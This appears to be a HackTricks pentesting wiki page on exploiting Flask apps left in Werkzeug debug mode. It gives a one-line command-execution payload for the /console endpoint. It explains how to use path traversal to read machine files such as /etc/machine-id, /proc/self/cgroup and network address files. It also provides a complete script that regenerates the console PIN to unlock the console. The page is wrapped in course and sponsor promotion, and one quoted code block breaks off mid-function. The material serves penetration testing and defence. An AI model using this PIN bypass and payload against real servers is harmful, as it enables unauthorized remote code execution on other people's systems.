8.8 KiB
Werkzeug / Flask Debug
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Instantly available setup for vulnerability assessment & penetration testing. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
{% embed url="https://pentest-tools.com/" %}
Console RCE
If debug is active you could try to access to /console
and gain RCE.
__import__('os').popen('whoami').read();
There is also several exploits on the internet like this or one in metasploit.
Pin Protected - Path Traversal
In some occasions the /console
endpoint is going to be protected by a pin. If you have a file traversal vulnerability, you can leak all the necessary info to generate that pin.
Werkzeug Console PIN Exploit
Copied from the first link.
See Werkzeug “console locked” message by forcing debug error page in the app.
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
Locate vulnerable Werkzeug debug console at path vulnerable-site.com/console
, but is locked by secret PIN number.
You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug __init__.py
file on server e.g. python3.5/site-packages/werkzeug/debug/__init__.py
. You can view Werkzeug source code repo to check how the PIN is generated, but better to leak source code through file traversal vulnerability since versions likely differ.
Variables needed to exploit the console PIN:
probably_public_bits = [
username,
modname,
getattr(app, '__name__', getattr(app.__class__, '__name__')),
getattr(mod, '__file__', None),
]
private_bits = [
str(uuid.getnode()),
get_machine_id(),
]
probably_public_bits
username
is the user who started this Flaskmodname
is flask.appgetattr(app, '__name__', getattr (app .__ class__, '__name__'))
is Flaskgetattr(mod, '__file__', None)
is the absolute path ofapp.py
in the flask directory (e.g./usr/local/lib/python3.5/dist-packages/flask/app.py
). Ifapp.py
doesn't work, tryapp.pyc
private_bits
-
uuid.getnode()
is the MAC address of the current computer,str(uuid.getnode())
is the decimal expression of the mac address.- To find server MAC address, need to know which network interface is being used to serve the app (e.g.
ens3
). If unknown, leak/proc/net/arp
for device ID and then leak MAC address at/sys/class/net/<device id>/address
.
Convert from hex address to decimal representation by running in python e.g.:
# It was 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692
- To find server MAC address, need to know which network interface is being used to serve the app (e.g.
-
get_machine_id()
concatenate the values in/etc/machine-id
or/proc/sys/kernel/random/boot_id
with the first line of/proc/self/cgroup
after the last slash (/
).
get_machine_id() code
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]
#h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
{% hint style="success" %} If you are on an old version of Werkzeug, try changing the hashing algorithm to md5 instead of sha1. {% endhint %}
References
Instantly available setup for vulnerability assessment & penetration testing. Run a full pentest from anywhere with 20+ tools & features that go from recon to reporting. We don't replace pentesters - we develop custom tools, detection & exploitation modules to give them back some time to dig deeper, pop shells, and have fun.
{% embed url="https://pentest-tools.com/" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.